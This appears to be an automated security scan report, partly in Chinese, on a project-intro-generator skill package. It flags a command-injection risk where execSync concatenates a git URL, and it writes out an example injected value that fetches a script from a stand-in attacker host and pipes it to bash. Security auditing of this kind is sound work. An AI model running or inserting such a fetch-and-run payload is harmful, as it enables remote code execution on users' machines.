This report was generated in Chinese. Some content may be in Chinese.
Trusted — Risk Score 10/100
Last scan:5 hr ago Rescan
10 /100
project-intro-generator
一键生成项目介绍页,支持本地编辑和长图导出。
项目介绍页生成器,功能代码与声明一致,无恶意行为,仅发现 execSync 字符串拼接需注意输入来源。
Skill Nameproject-intro-generator
Duration40.0s
Enginepi
ClawHub 项目宣传页和长截图一键生成工具 v0.1.3 by kunyashaw
📥 203
ClawHub Verdict Suspicious dangerous_execllm_suspiciousvt_suspicious
Safe to install
可安全使用。建议对 git clone 的 URL 参数做输入校验,防止通过特殊构造的 git URL 注入命令。

Findings 2 items

Severity Finding Location
Medium
git clone 命令存在潜在注入风险 RCE
src/git.js 第18行使用 execSync 直接拼接 gitUrl 参数构造 git clone 命令。如果攻击者能控制传入的 gitUrl(例如通过 --git 参数注入恶意命令),可能导致命令注入。例如传入 'https://evil.com && curl http://attacker.com/shell.sh|bash' 可能触发远程代码执行。
execSync(`git clone --depth 1 ${gitUrl} ${tempDir}`, { stdio: 'inherit' })
→ 使用 child_process.spawn 或 git 命令的 --git-dir 等安全参数,或对 gitUrl 进行 URL 格式校验(如正则匹配 /^https?:\/\// 且不含 shell 特殊字符)
src/git.js:18
Low
marked 依赖无锁定版本 Supply Chain
package.json 中 marked 使用 ^11.2.0 语义化版本,允许接受次版本和补丁更新,可能引入向后不兼容的变更。
"marked": "^11.2.0"
→ 考虑锁定精确版本 "marked": "11.2.0" 以提升可复现性
package.json:23
ResourceDeclaredInferredStatusEvidence
Filesystem READ READ ✓ Aligned src/analyzer.js:scanProject 扫描项目目录
Filesystem WRITE WRITE ✓ Aligned src/index.js:writeFile 生成 HTML 输出
Network READ READ ✓ Aligned src/github.js:fetchGitHubRepoInfo 调用 GitHub API
Shell NONE WRITE ✓ Aligned src/git.js:18 execSync 拼接 gitUrl 执行 git clone
7 findings
🔗
Medium External URL 外部 URL
https://clawhub.ai/kunyashaw/project-intro-generator
README.md:5
🔗
Medium External URL 外部 URL
https://www.youtube.com/watch?v=6ZRcgbdZSXw
README.md:10
🔗
Medium External URL 外部 URL
https://img.youtube.com/vi/6ZRcgbdZSXw/maxresdefault.jpg
README.md:11
🔗
Medium External URL 外部 URL
https://mirrors.huaweicloud.com/repository/npm/fsevents/-/fsevents-2.3.2.tgz
package-lock.json:9
🔗
Medium External URL 外部 URL
https://mirrors.huaweicloud.com/repository/npm/marked/-/marked-11.2.0.tgz
package-lock.json:15
🔗
Medium External URL 外部 URL
https://mirrors.huaweicloud.com/repository/npm/playwright/-/playwright-1.58.2.tgz
package-lock.json:20
🔗
Medium External URL 外部 URL
https://mirrors.huaweicloud.com/repository/npm/playwright-core/-/playwright-core-1.58.2.tgz
package-lock.json:30

File Tree

16 files · 100.6 KB · 2819 lines
JavaScript 10f · 1991L Markdown 3f · 734L JSON 3f · 94L
├─ 📁 bin
│ └─ 📜 cli.js JavaScript 95L · 3.1 KB
├─ 📁 public
│ └─ 📜 html2canvas.min.js JavaScript 7L · 237 B
├─ 📁 src
│ ├─ 📜 analyzer.js JavaScript 700L · 22.7 KB
│ ├─ 📜 git.js JavaScript 33L · 809 B
│ ├─ 📜 github.js JavaScript 112L · 3.8 KB
│ ├─ 📜 image.js JavaScript 28L · 943 B
│ ├─ 📜 index.js JavaScript 59L · 2.0 KB
│ ├─ 📜 template.js JavaScript 801L · 35.9 KB
│ ├─ 📜 themes.js JavaScript 69L · 1.8 KB
│ └─ 📜 utils.js JavaScript 87L · 2.0 KB
├─ 📋 package-lock.json JSON 35L · 1.3 KB
├─ 📋 package.json JSON 36L · 697 B
├─ 📝 README.md Markdown 93L · 3.2 KB
├─ 📝 rules.md Markdown 558L · 18.8 KB
├─ 📋 skill.json JSON 23L · 605 B
└─ 📝 SKILL.md Markdown 83L · 2.7 KB

Dependencies 2 items

PackageVersionSourceKnown VulnsNotes
marked ^11.2.0 npm No 语义化版本宽松,建议锁定
playwright ^1.58.2 npm No 可选依赖,用于截图,合理用途

Security Positives

✓ 功能与 SKILL.md 声明一致,无阴影功能
✓ HTML 生成基于模板,无 eval/动态代码执行
✓ 不访问 ~/.ssh、.env 等敏感路径
✓ 不收割环境变量中的 API 密钥或凭证
✓ 不外传任何数据到外部服务器
✓ playwright 依赖合理(截图功能)且为可选依赖